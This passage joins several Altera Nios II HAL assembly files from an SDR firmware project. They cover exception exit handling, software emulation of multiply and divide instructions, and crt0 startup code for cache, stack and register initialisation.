* In the context of linker sections, "unknown" are all exceptions
* not handled by the built-in handlers above (interupt, and trap or
* unimplemented instruction decoding, if enabled).
*
* Advanced exception types can be serviced by registering a handler.
* To do so, enable the "Enable Instruction-related Exception API" HAL
* BSP setting. If this setting is disabled, this handler code will
* either break (if the debug core is present) or enter an infinite
* loop because we don't how how to handle the exception.
*/
.section .exceptions.unknown
#ifdef ALT_INCLUDE_INSTRUCTION_RELATED_EXCEPTION_API
/*
* The C-based HAL routine alt_instruction_exception_entry() will
* attempt to service the exception by calling a user-registered
* exception handler using alt_instruction_exception_register().
* If no handler was registered it will either break (if the
* debugger is present) or go into an infinite loop since the
* handling behavior is undefined; in that case we will not return here.
*/
/* Load exception-causing address as first argument (r4) */
addi r4, ea, -4
/* Call the instruction-exception entry */
call alt_instruction_exception_entry
/*
* If alt_instruction_exception_entry() returned, the exception was
* serviced by a user-registered routine. Its return code (now in r2)
* indicates whether to re-issue or skip the exception-causing
* instruction
*
* Return code was 0: Skip. The instruction after the exception is
* already stored in 72(sp).
*/
bne r2, r0, .Lexception_exit
/*
* Otherwise, modify 72(sp) to re-issue the instruction that caused the
* exception.
*/
addi r15, ea, -4 /* instruction that caused exception */
stw r15, 72(sp)
#else /* ALT_INCLUDE_INSTRUCTION_RELATED_EXCEPTION_API disabled */
/*
* We got here because an instruction-related exception occured, but the
* handler API was not compiled in. We do not presume to know how to
* handle it. If the debugger is present, break, otherwise hang.
*
* If you get here then one of the following could have happened:
*
* - An instruction-generated exception occured, and the processor
* does not have the extra exceptions feature enabled, or you
* have not registered a handler using
* alt_instruction_exception_register()
*
* Some examples of instruction-generated exceptions and why they
* might occur:
*
* - Your program could have been compiled for a full-featured
* Nios II core, but it is running on a smaller core, and
* instruction emulation has been disabled by defining
* ALT_NO_INSTRUCTION_EMULATION.
*
* You can work around the problem by re-enabling instruction
* emulation, or you can figure out why your program is being
* compiled for a system other than the one that it is running on.
*
* - Your program has executed a trap instruction, but has not
* implemented a handler for this instruction.
*
* - Your program has executed an illegal instruction (one which is
* not defined in the instruction set).
*
* - Your processor includes an MMU or MPU, and you have enabled it
* before registering an exception handler to service exceptions it
* generates.
*
* The problem could also be hardware related:
* - If your hardware is broken and is generating spurious interrupts
* (a peripheral which negates its interrupt output before its
* interrupt handler has been executed will cause spurious
* interrupts)
*/
alt_exception_unknown:
#ifdef NIOS2_HAS_DEBUG_STUB
/*
* Either tell the user now (if there is a debugger attached) or go into
* the debug monitor which will loop until a debugger is attached.
*/
break
#else /* NIOS2_HAS_DEBUG_STUB disabled */
/*
* If there is no debug stub, an infinite loop is more useful.
*/
br alt_exception_unknown
#endif /* NIOS2_HAS_DEBUG_STUB */
#endif /* ALT_INCLUDE_INSTRUCTION_RELATED_EXCEPTION_API */
.section .exceptions.exit.label
.Lexception_exit:
.section .exceptions.exit, "xa"
/*
* Restore the saved registers, so that all general purpose registers
* have been restored to their state at the time the interrupt occured.
*/
ldw r5, 68(sp)
ldw ea, 72(sp) /* This becomes the PC once eret is executed */
ldw ra, 0(sp)
wrctl estatus, r5
ldw r1, 8(sp)
ldw r2, 12(sp)
ldw r3, 16(sp)
ldw r4, 20(sp)
ldw r5, 24(sp)
ldw r6, 28(sp)
ldw r7, 32(sp)
#if defined(ALT_EXCEPTION_STACK) && defined(ALT_STACK_CHECK)
ldw et, %gprel(alt_exception_old_stack_limit)(gp)
#endif
ldw r8, 36(sp)
ldw r9, 40(sp)
ldw r10, 44(sp)
ldw r11, 48(sp)
ldw r12, 52(sp)
ldw r13, 56(sp)
ldw r14, 60(sp)
ldw r15, 64(sp)
#ifdef ALT_EXCEPTION_STACK
#ifdef ALT_STACK_CHECK
stw et, %gprel(alt_stack_limit_value)(gp)
stw zero, %gprel(alt_exception_old_stack_limit)(gp)
#endif /* ALT_STACK_CHECK */
ldw sp, 76(sp)
#else /* ALT_EXCEPTION_STACK disabled */
addi sp, sp, 76
#endif /* ALT_EXCEPTION_STACK */
/*
* Return to the interrupted instruction.
*/
eret
#ifdef ALT_STACK_CHECK
.Lstack_overflow:
break 3
#endif /* ALT_STACK_CHECK */
|
alberto-grl/1bitSDR | 21,315 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_exception_muldiv.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2003-2005 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
/*
* This is the software multiply/divide handler for Nios2.
*/
/*
* Provide a label which can be used to pull this file in.
*/
.section .exceptions.start
.globl alt_exception_muldiv
alt_exception_muldiv:
/*
* Pull in the entry/exit code.
*/
.globl alt_exception
.section .exceptions.soft, "xa"
/* INSTRUCTION EMULATION
* ---------------------
*
* Nios II processors generate exceptions for unimplemented instructions.
* The routines below emulate these instructions. Depending on the
* processor core, the only instructions that might need to be emulated
* are div, divu, mul, muli, mulxss, mulxsu, and mulxuu.
*
* The emulations match the instructions, except for the following
* limitations:
*
* 1) The emulation routines do not emulate the use of the exception
* temporary register (et) as a source operand because the exception
* handler already has modified it.
*
* 2) The routines do not emulate the use of the stack pointer (sp) or the
* exception return address register (ea) as a destination because
* modifying these registers crashes the exception handler or the
* interrupted routine.
*
* 3) To save code size, the routines do not emulate the use of the
* breakpoint registers (ba and bt) as operands.
*
* Detailed Design
* ---------------
*
* The emulation routines expect the contents of integer registers r0-r31
* to be on the stack at addresses sp, 4(sp), 8(sp), ... 124(sp). The
* routines retrieve source operands from the stack and modify the
* destination register's value on the stack prior to the end of the
* exception handler. Then all registers except the destination register
* are restored to their previous values.
*
* The instruction that causes the exception is found at address -4(ea).
* The instruction's OP and OPX fields identify the operation to be
* performed.
*
* One instruction, muli, is an I-type instruction that is identified by
* an OP field of 0x24.
*
* muli AAAAA,BBBBB,IIIIIIIIIIIIIIII,-0x24-
* 27 22 6 0 <-- LSB of field
*
* The remaining emulated instructions are R-type and have an OP field
* of 0x3a. Their OPX fields identify them.
*
* R-type AAAAA,BBBBB,CCCCC,XXXXXX,NNNNN,-0x3a-
* 27 22 17 11 6 0 <-- LSB of field
*
*
*/
/*
* Split the instruction into its fields. We need 4*A, 4*B, and 4*C as
* offsets to the stack pointer for access to the stored register values.
*/
/* r2 = AAAAA,BBBBB,IIIIIIIIIIIIIIII,PPPPPP */
roli r3, r2, 7 /* r3 = BBB,IIIIIIIIIIIIIIII,PPPPPP,AAAAA,BB */
roli r4, r3, 3 /* r4 = IIIIIIIIIIIIIIII,PPPPPP,AAAAA,BBBBB */
roli r6, r4, 2 /* r6 = IIIIIIIIIIIIII,PPPPPP,AAAAA,BBBBB,II */
srai r4, r4, 16 /* r4 = (sign-extended) IMM16 */
xori r6, r6, 0x42 /* r6 = CCC,XXXXXX,NNNNN,PPPPPP,AAAAA,bBBBB,cC */
roli r7, r6, 5 /* r7 = XXXX,NNNNN,PPPPPP,AAAAA,bBBBB,cCCCC,XX */
andi r5, r2, 0x3f /* r5 = 00000000000000000000000000,PPPPPP */
xori r3, r3, 0x40
andi r3, r3, 0x7c /* r3 = 0000000000000000000000000,aAAAA,00 */
andi r6, r6, 0x7c /* r6 = 0000000000000000000000000,bBBBB,00 */
andi r7, r7, 0x7c /* r7 = 0000000000000000000000000,cCCCC,00 */
/* Now either
* r5 = OP
* r3 = 4*(A^16)
* r4 = IMM16 (sign extended)
* r6 = 4*(B^16)
* r7 = 4*(C^16)
* or
* r5 = OP
*/
/*
* Save everything on the stack to make it easy for the emulation routines
* to retrieve the source register operands. The exception entry code has
* already saved some of this so we don't need to do it all again.
*/
addi sp, sp, -60
stw zero, 64(sp) /* Save zero on stack to avoid special case for r0. */
/* Register at and r2-r15 have already been saved. */
stw r16, 0(sp)
stw r17, 4(sp)
stw r18, 8(sp)
stw r19, 12(sp)
stw r20, 16(sp)
stw r21, 20(sp)
stw r22, 24(sp)
stw r23, 28(sp)
/* et @ 32 - Has already been changed.*/
/* bt @ 36 - Usually isn't an operand. */
stw gp, 40(sp)
stw sp, 44(sp)
stw fp, 48(sp)
/* ea @ 52 - Don't bother to save - it's already been changed */
/* ba @ 56 - Breakpoint register usually isn't an operand */
/* ra @ 60 - Has already been saved */
/*
* Prepare for either multiplication or division loop.
* They both loop 32 times.
*/
movi r14, 32
/*
* Get the operands.
*
* It is necessary to check for muli because it uses an I-type instruction
* format, while the other instructions are have an R-type format.
*/
add r3, r3, sp /* r3 = address of A-operand. */
ldw r3, 0(r3) /* r3 = A-operand. */
movi r15, 0x24 /* muli opcode (I-type instruction format) */
beq r5, r15, .Lmul_immed /* muli doesn't use the B register as a source */
add r6, r6, sp /* r6 = address of B-operand. */
ldw r6, 0(r6) /* r6 = B-operand. */
/* r4 = SSSSSSSSSSSSSSSS,-----IMM16------ */
/* IMM16 not needed, align OPX portion */
/* r4 = SSSSSSSSSSSSSSSS,CCCCC,-OPX--,00000 */
srli r4, r4, 5 /* r4 = 00000,SSSSSSSSSSSSSSSS,CCCCC,-OPX-- */
andi r4, r4, 0x3f /* r4 = 00000000000000000000000000,-OPX-- */
/* Now
* r5 = OP
* r3 = src1
* r6 = src2
* r4 = OPX (no longer can be muli)
* r7 = 4*(C^16)
* r14 = loop counter
*/
/* ILLEGAL-INSTRUCTION EXCEPTION
* -----------------------------
*
* This code is for Nios II cores that generate exceptions when attempting
* to execute illegal instructions. Nios II cores that support an
* illegal-instruction exception are identified by the presence of the
* macro definition NIOS2_HAS_ILLEGAL_INSTRUCTION_EXCEPTION in system.h .
*
* Remember that illegal instructions are different than unimplemented
* instructions. Illegal instructions are instruction encodings that
* have not been defined by the Nios II ISA. Unimplemented instructions
* are legal instructions that must be emulated by some Nios II cores.
*
* If we get here, all instructions except multiplies and divides
* are illegal.
*
* This code assumes that OP is not muli (because muli was tested above).
* All other multiplies and divides are legal. Anything else is illegal.
*/
movi r8, 0x3a /* OP for R-type mul* and div* */
bne r5, r8, .Lnot_muldiv
/* r15 already is 0x24 */ /* OPX of divu */
beq r4, r15, .Ldivide
movi r15,0x27 /* OPX of mul */
beq r4, r15, .Lmultiply
movi r15,0x07 /* OPX of mulxuu */
beq r4, r15, .Lmultiply
movi r15,0x17 /* OPX of mulxsu */
beq r4, r15, .Lmultiply
movi r15,0x1f /* OPX of mulxss */
beq r4, r15, .Lmultiply
movi r15,0x25 /* OPX of div */
bne r4, r15, .Lnot_muldiv
/* DIVISION
*
* Divide an unsigned dividend by an unsigned divisor using
* a shift-and-subtract algorithm. The example below shows
* 43 div 7 = 6 for 8-bit integers. This classic algorithm uses a
* single register to store both the dividend and the quotient,
* allowing both values to be shifted with a single instruction.
*
* remainder dividend:quotient
* --------- -----------------
* initialize 00000000 00101011:
* shift 00000000 0101011:_
* remainder >= divisor? no 00000000 0101011:0
* shift 00000000 101011:0_
* remainder >= divisor? no 00000000 101011:00
* shift 00000001 01011:00_
* remainder >= divisor? no 00000001 01011:000
* shift 00000010 1011:000_
* remainder >= divisor? no 00000010 1011:0000
* shift 00000101 011:0000_
* remainder >= divisor? no 00000101 011:00000
* shift 00001010 11:00000_
* remainder >= divisor? yes 00001010 11:000001
* remainder -= divisor - 00000111
* ----------
* 00000011 11:000001
* shift 00000111 1:000001_
* remainder >= divisor? yes 00000111 1:0000011
* remainder -= divisor - 00000111
* ----------
* 00000000 1:0000011
* shift 00000001 :0000011_
* remainder >= divisor? no 00000001 :00000110
*
* The quotient is 00000110.
*/
.Ldivide:
/*
* Prepare for division by assuming the result
* is unsigned, and storing its "sign" as 0.
*/
movi r17, 0
/* Which division opcode? */
xori r15, r4, 0x25 /* OPX of div */
bne r15, zero, .Lunsigned_division
/*
* OPX is div. Determine and store the sign of the quotient.
* Then take the absolute value of both operands.
*/
xor r17, r3, r6 /* MSB contains sign of quotient */
bge r3, zero, 0f
sub r3, zero, r3 /* -r3 */
0:
bge r6, zero, 0f
sub r6, zero, r6 /* -r6 */
0:
.Lunsigned_division:
/* Initialize the unsigned-division loop. */
movi r13, 0 /* remainder = 0 */
/* Now
* r3 = dividend : quotient
* r4 = 0x25 for div, 0x24 for divu
* r6 = divisor
* r13 = remainder
* r14 = loop counter (already initialized to 32)
* r17 = MSB contains sign of quotient
*/
/*
* for (count = 32; count > 0; --count)
* {
*/
.Ldivide_loop:
/*
* Division:
*
* (remainder:dividend:quotient) <<= 1;
*/
slli r13, r13, 1
cmplt r15, r3, zero /* r15 = MSB of r3 */
or r13, r13, r15
slli r3, r3, 1
/*
* if (remainder >= divisor)
* {
* set LSB of quotient
* remainder -= divisor;
* }
*/
bltu r13, r6, .Ldiv_skip
ori r3, r3, 1
sub r13, r13, r6
.Ldiv_skip:
/*
* }
*/
subi r14, r14, 1
bne r14, zero, .Ldivide_loop
mov r9, r3
/* Now
* r9 = quotient
* r4 = 0x25 for div, 0x24 for divu
* r7 = 4*(C^16)
* r17 = MSB contains sign of quotient
*/
/*
* Conditionally negate signed quotient. If quotient is unsigned,
* the sign already is initialized to 0.
*/
bge r17, zero, .Lstore_result
sub r9, zero, r9 /* -r9 */
br .Lstore_result
/* MULTIPLICATION
*
* A "product" is the number that one gets by summing a "multiplicand"
* several times. The "multiplier" specifies the number of copies of the
* multiplicand that are summed.
*
* Actual multiplication algorithms don't use repeated addition, however.
* Shift-and-add algorithms get the same answer as repeated addition, and
* they are faster. To compute the lower half of a product (pppp below)
* one shifts the product left before adding in each of the partial products
* (a * mmmm) through (d * mmmm).
*
* To compute the upper half of a product (PPPP below), one adds in the
* partial products (d * mmmm) through (a * mmmm), each time following the
* add by a right shift of the product.
*
* mmmm
* * abcd
* ------
* #### = d * mmmm
* #### = c * mmmm
* #### = b * mmmm
* #### = a * mmmm
* --------
* PPPPpppp
*
* The example above shows 4 partial products. Computing actual Nios II
* products requires 32 partials.
*
* It is possible to compute the result of mulxsu from the result of mulxuu
* because the only difference between the results of these two opcodes is
* the value of the partial product associated with the sign bit of rA.
*
* mulxsu = mulxuu - ((rA < 0) ? rB : 0);
*
* It is possible to compute the result of mulxss from the result of mulxsu
* because the only difference between the results of these two opcodes is
* the value of the partial product associated with the sign bit of rB.
*
* mulxss = mulxsu - ((rB < 0) ? rA : 0);
*
*/
.Lmul_immed:
/* Opcode is muli. Change it into mul for remainder of algorithm. */
mov r7, r6 /* Field B is dest register, not field C. */
mov r6, r4 /* Field IMM16 is src2, not field B. */
movi r4, 0x27 /* OPX of mul is 0x27 */
.Lmultiply:
/* Initialize the multiplication loop. */
movi r9, 0 /* mul_product = 0 */
movi r10, 0 /* mulxuu_product = 0 */
mov r11, r6 /* save original multiplier for mulxsu and mulxss */
mov r12, r6 /* mulxuu_multiplier (will be shifted) */
movi r16, 1 /* used to create "rori B,A,1" from "ror B,A,r16" */
/* Now
* r3 = multiplicand
* r6 = mul_multiplier
* r7 = 4 * dest_register (used later as offset to sp)
* r9 = mul_product
* r10 = mulxuu_product
* r11 = original multiplier
* r12 = mulxuu_multiplier
* r14 = loop counter (already initialized)
* r15 = temp
* r16 = 1
*/
/*
* for (count = 32; count > 0; --count)
* {
*/
.Lmultiply_loop:
/*
* mul_product <<= 1;
* lsb = multiplier & 1;
*/
slli r9, r9, 1
andi r15, r12, 1
/*
* if (lsb == 1)
* {
* mulxuu_product += multiplicand;
* }
*/
beq r15, zero, .Lmulx_skip
add r10, r10, r3
cmpltu r15, r10, r3 /* Save the carry from the MSB of mulxuu_product. */
ror r15, r15, r16 /* r15 = 0x80000000 on carry, or else 0x00000000 */
.Lmulx_skip:
/*
* if (MSB of mul_multiplier == 1)
* {
* mul_product += multiplicand;
* }
*/
bge r6, zero, .Lmul_skip
add r9, r9, r3
.Lmul_skip:
/*
* mulxuu_product >>= 1; logical shift
* mul_multiplier <<= 1; done with MSB
* mulx_multiplier >>= 1; done with LSB
*/
srli r10, r10, 1
or r10, r10, r15 /* OR in the saved carry bit. */
slli r6, r6, 1
srli r12, r12, 1
/*
* }
*/
subi r14, r14, 1
bne r14, zero, .Lmultiply_loop
/*
* Multiply emulation loop done.
*/
/* Now
* r3 = multiplicand
* r4 = OPX
* r7 = 4 * dest_register (used later as offset to sp)
* r9 = mul_product
* r10 = mulxuu_product
* r11 = original multiplier
* r15 = temp
*/
/*
* Select/compute the result based on OPX.
*/
/* OPX == mul? Then store. */
xori r15, r4, 0x27
beq r15, zero, .Lstore_result
/* It's one of the mulx.. opcodes. Move over the result. */
mov r9, r10
/* OPX == mulxuu? Then store. */
xori r15, r4, 0x07
beq r15, zero, .Lstore_result
/* Compute mulxsu
*
* mulxsu = mulxuu - ((rA < 0) ? rB : 0);
*/
bge r3, zero, .Lmulxsu_skip
sub r9, r9, r11
.Lmulxsu_skip:
/* OPX == mulxsu? Then store. */
xori r15, r4, 0x17
beq r15, zero, .Lstore_result
/* Compute mulxss
*
* mulxss = mulxsu - ((rB < 0) ? rA : 0);
*/
bge r11, zero, .Lmulxss_skip
sub r9, r9, r3
.Lmulxss_skip:
/* At this point, assume that OPX is mulxss, so store */
.Lstore_result:
add r7, r7, sp
stw r9, 0(r7)
ldw r16, 0(sp)
ldw r17, 4(sp)
ldw r18, 8(sp)
ldw r19, 12(sp)
ldw r20, 16(sp)
ldw r21, 20(sp)
ldw r22, 24(sp)
ldw r23, 28(sp)
/* bt @ 32 - Breakpoint register usually isn't an operand. */
/* et @ 36 - Don't corrupt et. */
/* gp @ 40 - Don't corrupt gp. */
/* sp @ 44 - Don't corrupt sp. */
ldw fp, 48(sp)
/* ea @ 52 - Don't corrupt ea. */
/* ba @ 56 - Breakpoint register usually isn't an operand. */
addi sp, sp, 60
br .Lexception_exit
.Lnot_muldiv:
addi sp, sp, 60
.section .exceptions.exit.label
.Lexception_exit:
|
alberto-grl/1bitSDR | 2,989 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_software_exception.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2003-2005 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
/*
* This file provides the global symbol: software_exception. It is provided to
* support legacy code, and should not be used by new software.
*
* It is used by legacy code to invoke the software exception handler as
* defined by version 1.0 of the Nios II kit. It should only be used when you
* are providing your own interrupt entry point, i.e. you are not using
* alt_irq_entry.
*/
#include "system.h"
/*
* Pull in the exception handler.
*/
.globl alt_exception
.section .exceptions.entry.label, "xa"
.globl software_exception
.type software_exception, @function
software_exception:
|
alberto-grl/1bitSDR | 16,254 | SDR_CycloneIII/software/sdr_bsp/HAL/src/crt0.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2006 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
#include "system.h"
#include "nios2.h"
/* Setup header files to work with assembler code. */
#define ALT_ASM_SRC
/* Debug logging facility */
#include "sys/alt_log_printf.h"
/*************************************************************************\
| MACROS |
\*************************************************************************/
/*
* The new build tools explicitly define macros when alt_load()
* must be called. The define ALT_LOAD_EXPLICITLY_CONTROLLED tells us that
* those macros are controlling if alt_load() needs to be called.
*/
#ifdef ALT_LOAD_EXPLICITLY_CONTROLLED
/* Need to call alt_load() if any of these sections are being copied. */
#if defined(ALT_LOAD_COPY_RODATA) || defined(ALT_LOAD_COPY_RWDATA) || defined(ALT_LOAD_COPY_EXCEPTIONS)
#define CALL_ALT_LOAD
#endif
#else /* !ALT_LOAD_EXPLICITLY_CONTROLLED */
/*
* The legacy build tools use the following macros to detect when alt_load()
* needs to be called.
*/
#define __ALT_LOAD_SECTIONS(res, text, rodata, exc) \
((res##_BASE != rodata##_BASE) || \
(res##_BASE != rwdata##_BASE) || \
(res##_BASE != exc##_BASE))
#define _ALT_LOAD_SECTIONS(res, text, rodata, exc) \
__ALT_LOAD_SECTIONS(res, text, rodata, exc)
#define ALT_LOAD_SECTIONS _ALT_LOAD_SECTIONS(ALT_RESET_DEVICE, \
ALT_RODATA_DEVICE, \
ALT_RWDATA_DEVICE, \
ALT_EXCEPTIONS_DEVICE)
/* Call alt_load() if there is no bootloader and ALT_LOAD_SECTIONS isn't 0. */
#if defined(ALT_NO_BOOTLOADER) && ALT_LOAD_SECTIONS
#define CALL_ALT_LOAD
#endif
#endif /* !ALT_LOAD_EXPLICITLY_CONTROLLED */
/*
* When the legacy build tools define a macro called ALT_NO_BOOTLOADER,
* it indicates that initialization code is allowed at the reset address.
* The new build tools define a macro called ALT_ALLOW_CODE_AT_RESET for
* the same purpose.
*/
#ifdef ALT_NO_BOOTLOADER
#define ALT_ALLOW_CODE_AT_RESET
#endif
/*************************************************************************\
| EXTERNAL REFERENCES |
\*************************************************************************/
/*
* The entry point for user code is either "main" in hosted mode, or
* "alt_main" in standalone mode. These are explicitly referenced here,
* to ensure they are built into the executable. This allows the user
* to build them into libraries, rather than supplying them in object
* files at link time.
*/
.globl main
.globl alt_main
/*
* Create a reference to the software multiply/divide and trap handers,
* so that if they are provided, they will appear in the executable.
*/
#ifndef ALT_NO_INSTRUCTION_EMULATION
.globl alt_exception_muldiv
#endif
#ifdef ALT_TRAP_HANDLER
.globl alt_exception_trap
#endif
/*
* Linker defined symbols used to initialize bss.
*/
.globl __bss_start
.globl __bss_end
/*************************************************************************\
| RESET SECTION (.entry) |
\*************************************************************************/
/*
* This is the reset entry point for Nios II.
*
* At reset, only the cache line which contain the reset vector is
* initialized by the hardware. The code within the first cache line
* initializes the remainder of the instruction cache.
*/
.section .entry, "xa"
.align 5
/*
* Explicitly allow the use of r1 (the assembler temporary register)
* within this code. This register is normally reserved for the use of
* the assembler.
*/
.set noat
/*
* Some tools want to know where the reset vector is.
* Code isn't always provided at the reset vector but at least the
* __reset label always contains the reset vector address because
* it is defined at the start of the .entry section.
*/
.globl __reset
.type __reset, @function
__reset:
/*
* Initialize the instruction cache if present (i.e. size > 0) and
* reset code is allowed unless optimizing for RTL simulation.
* RTL simulations can ensure the instruction cache is already initialized
* so skipping this loop speeds up RTL simulation.
*/
#if NIOS2_ICACHE_SIZE > 0 && defined(ALT_ALLOW_CODE_AT_RESET) && !defined(ALT_SIM_OPTIMIZE)
/* Assume the instruction cache size is always a power of two. */
#if NIOS2_ICACHE_SIZE > 0x8000
movhi r2, %hi(NIOS2_ICACHE_SIZE)
#else
movui r2, NIOS2_ICACHE_SIZE
#endif
0:
initi r2
addi r2, r2, -NIOS2_ICACHE_LINE_SIZE
bgt r2, zero, 0b
1:
/*
* The following debug information tells the ISS not to run the loop above
* but to perform its actions using faster internal code.
*/
.pushsection .debug_alt_sim_info
.int 1, 1, 0b, 1b
.popsection
#endif /* Initialize Instruction Cache */
/*
* Jump to the _start entry point in the .text section if reset code
* is allowed or if optimizing for RTL simulation.
*/
#if defined(ALT_ALLOW_CODE_AT_RESET) || defined(ALT_SIM_OPTIMIZE)
/* Jump to the _start entry point in the .text section. */
movhi r1, %hi(_start)
ori r1, r1, %lo(_start)
jmp r1
.size __reset, . - __reset
#endif /* Jump to _start */
/*
* When not using exit, provide an _exit symbol to prevent unresolved
* references to _exit from the linker script.
*/
#ifdef ALT_NO_EXIT
.globl _exit
_exit:
#endif
/*************************************************************************\
| TEXT SECTION (.text) |
\*************************************************************************/
/*
* Start of the .text section, and also the code entry point when
* the code is executed by a bootloader rather than directly from reset.
*/
.section .text
.align 2
.globl _start
.type _start, @function
_start:
#if (NIOS2_NUM_OF_SHADOW_REG_SETS > 0)
/*
* Ensure that the current register set is 0 upon
* entry to this code. Switch register set to 0 by
* writing zero to SSTATUS register and executing an ERET instruction
* to set STATUS.CRS to 0.
*/
/* Get the current register set number (STATUS.CRS). */
rdctl r2, status
andi r2, r2, NIOS2_STATUS_CRS_MSK
/* Skip switching register set if STATUS.CRS is 0. */
beq r2, zero, 0f
/* Set SSTATUS to 0 to get to set SSTATUS.PRS to 0. */
.set nobreak
movui sstatus, 0
.set break
/* Switch to register set 0 and jump to label. */
movhi ea, %hi(0f)
ori ea, ea, %lo(0f)
eret
0:
#endif /* NIOS2_NUM_OF_SHADOW_REG_SETS > 0 */
/*
* Initialize the data cache if present (i.e. size > 0).
* Skip initialization if optimizing for RTL simulation and ECC isn't present.
* RTL simulations can ensure the data cache tag RAM is already initialized
* (but not the data RAM for ECC) so skipping this speeds up RTL simulation.
*
* When ECC is present, need to execute initd for each word address
* to ensure ECC parity bits in data RAM get initialized.
* Otherwise, only need to execute initd for each line address.
*/
#if NIOS2_DCACHE_SIZE > 0 && (!defined(ALT_SIM_OPTIMIZE) || defined(NIOS2_ECC_PRESENT))
/* Assume the data cache size is always a power of two. */
#if NIOS2_DCACHE_SIZE > 0x8000
movhi r2, %hi(NIOS2_DCACHE_SIZE)
#else
movui r2, NIOS2_DCACHE_SIZE
#endif
0:
initd 0(r2)
#ifdef NIOS2_ECC_PRESENT
addi r2, r2, -4
#else
addi r2, r2, -NIOS2_DCACHE_LINE_SIZE
#endif
bgt r2, zero, 0b
1:
/*
* The following debug information tells the ISS not to run the loop above
* but to perform its actions using faster internal code.
*/
.pushsection .debug_alt_sim_info
.int 2, 1, 0b, 1b
.popsection
#endif /* Initialize Data Cache */
/* Log that caches have been initialized. */
ALT_LOG_PUTS(alt_log_msg_cache)
/* Log that the stack pointer is about to be setup. */
ALT_LOG_PUTS(alt_log_msg_stackpointer)
/*
* Now that the caches are initialized, set up the stack pointer and global pointer.
* The values provided by the linker are assumed to be correctly aligned.
*/
movhi sp, %hi(__alt_stack_pointer)
ori sp, sp, %lo(__alt_stack_pointer)
movhi gp, %hi(_gp)
ori gp, gp, %lo(_gp)
#ifdef NIOS2_ECC_PRESENT
/*
* Initialize all general-purpose registers so that ECC can be enabled
* later without accidentally triggering a spurious ECC error.
*/
movui r1, 0
movui r2, 0
movui r3, 0
movui r4, 0
movui r5, 0
movui r6, 0
movui r7, 0
movui r8, 0
movui r9, 0
movui r10, 0
movui r11, 0
movui r12, 0
movui r13, 0
movui r14, 0
movui r15, 0
movui r16, 0
movui r17, 0
movui r18, 0
movui r19, 0
movui r20, 0
movui r21, 0
movui r22, 0
movui r23, 0
/* Skip r24 (et) because only exception handler should write it. */
/* Skip r25 (bt) because only debugger should write it. */
/* Skip r26 (gp) because it is already been initialized. */
/* Skip r27 (sp) because it is already been initialized. */
movui r28, 0 /* fp */
movui r29, 0 /* ea */
.set nobreak
movui r30, 0 /* sstatus */
.set break
movui r31, 0 /* ra */
#endif /* NIOS2_ECC_PRESENT */
#if (NIOS2_NUM_OF_SHADOW_REG_SETS > 0)
/*
* Setup registers in shadow register sets
